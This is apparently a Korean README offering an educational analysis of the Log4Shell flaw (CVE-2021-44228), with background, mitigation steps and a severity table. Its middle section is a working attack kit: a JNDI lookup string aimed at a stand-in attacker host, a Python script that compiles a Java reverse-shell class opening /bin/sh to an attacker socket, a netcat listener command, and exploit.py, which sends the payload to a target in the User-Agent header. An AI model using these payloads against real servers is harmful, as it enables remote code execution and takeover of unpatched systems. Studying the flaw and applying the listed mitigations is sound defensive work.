
CVE-2021-44228(Log4Shell)에 대한 교육적 분석으로, PoC 스크립트, 공격 벡터 분석, 취약점 이해 및 테스트를 위한 완화 지침을 포함하여 Apache Log4j의 치명적인 RCE 취약점을 다룹니다.
심각도 최고 (CVSS 10.0) | 2021년 발견된 Apache Log4j의 이 결함은 원격 코드 실행(RCE)을 허용하며 전 세계 수백만 시스템에 영향을 미칩니다. 오늘날에도 사이버 보안의 핵심 교훈으로 남아 있습니다!
CVE-2021-44228, 일명 Log4Shell은 Apache Log4j 2 로깅 라이브러리의 치명적인 원격 코드 실행(RCE) 취약점입니다. 이 결함으로 인해 공격자는 애플리케이션이 기록하는 특수하게 조작된 텍스트 문자열을 보내기만 해도 취약한 서버에서 임의의 코드를 실행할 수 있습니다.
Log4Shell은 단독으로 끝나지 않았습니다. CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS), CVE-2021-4104 (Log4j 1.2의 RCE)가 파생되었습니다.
문제의 핵심은 Log4j에서 **JNDI(Java Naming and Directory Interface)**를 안전하지 않게 처리하여, 원격 조회를 검증 없이 수행한다는 점입니다.
${jndi:ldap://atacante.com:1389/Exploit}
작동 방식:
${...}를 감지하고 JNDI 조회를 활성화합니다.악용 가능한 프로토콜: LDAP, RMI, DNS, IIOP 등. 이를 통해 다음과 같은 위협이 가능합니다:
감염 체인 (Kill Chain):
영향 통계:
⚠️ 경고: 이 내용은 교육 목적 및 승인된 테스트 전용입니다. 명시적 허가 없이 시스템에 사용하지 마십시오. 승인 없이 취약점을 악용하는 것은 불법입니다 (예: 미국 CFAA 위반). 항상 윤리적 침투 테스트를 수행하십시오.
kozmer/log4j-shell-poc과 같은 공개 저장소를 기반으로, 통제된 환경(예: 로컬 Docker/VM)에서 PoC에 대한 간략한 개요를 제공합니다.
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202).#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (간소화된 역방향 셸 코드)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] Exploit 클래스 생성 성공')
except Exception as e:
print(Fore.RED + f'[-] 오류: {e}')
# ... (LDAP 서버 및 웹 서버 함수는 원본과 유사)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] CVE-2021-44228 교육용 PoC - 실습실에서만 사용하세요!")
# 인수: --userip localhost --webport 8000 --lport 9001
# LDAP, 웹 서버 실행 및 payload 생성
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 - 역방향 셸 모니터링.${jndi:ldap://127.0.0.1:1389/a} 입력.간단한 Python PoC (Listener + Exploit): 빠른 데모를 위해 이 스크립트 쌍을 사용하세요 (먼저 listener 실행).
listener.py:
import socket
import threading
def start_listener(ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(1)
print(f"[*] Listener on {ip}:{port}...")
conn, addr = server.accept()
print(f"[+] Connection from {addr}")
data = conn.recv(4096)
print(data.decode('utf-8', errors='ignore'))
conn.close()
if __name__ == "__main__":
threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
input("Press Enter to stop...\n") # 유지
exploit.py:
import requests
import argparse
def send_exploit(target, lhost, lport):
payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
headers = {'User-Agent': payload}
try:
r = requests.get(target, headers=headers, timeout=10)
print(f"[+] Sent to {target} | Status: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True)
parser.add_argument("-l", "--lhost", required=True)
parser.add_argument("-p", "--lport", type=int, default=1389)
args = parser.parse_args()
send_exploit(args.target, args.lhost, args.lport)
실행: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"
참고: 시뮬레이션된 LDAP을 위해 Marshalsec 필요. 격리된 실습실에서만 테스트하세요.
지금 조치하세요! Log4Shell은 업데이트 및 구성을 통해 방지할 수 있습니다.
mvn dependency:tree 또는 Snyk와 같은 도구로 간접 종속성 확인.-Dlog4j2.formatMsgNoLookups=trueLOG4J_FORMAT_MSG_NO_LOOKUPS=truelog4j2.xml에 다음 추가: <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi:*} Payload 차단 (예: ModSecurity 또는 Cloudflare 규칙).파생 CVE에 대한 조치:
이 README.md는 교육 및 사이버 보안 인식 제고 목적입니다. 불법 활동을 조장하지 않습니다. 보안 전문가라면 OWASP Dependency-Check와 같은 도구로 환경을 평가하세요. 시스템을 최신 상태로 유지하여 더 안전한 세상을 만드세요! 🔒
마지막 업데이트: 2023년까지의 데이터 기반. 최신 소식은 공식 출처를 확인하세요.
| 특징 | 세부 내용 |
|---|
| CVSS v3.1 점수 | 10.0 (CRITICAL) 🔥 - 가능한 최고 심각도. |
| 영향 받는 버전 | Log4j 2.0-beta9 ~ 2.14.1 (하위 CVE에 대해 2.16.0까지 파생 버전 포함). |
| 근본 원인 | JNDI 메시지 대체에 대한 검증 부재; 원격 조회 활성화. |
| 벡터 | 원격, 인증 불필요; 웹/클라우드 앱의 Java 8+에 영향. |
| 영향 받는 제품 | Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter 등. |
| 악용 난이도 | 쉬움: GitHub에 공개 PoC 존재; 권한 불필요. |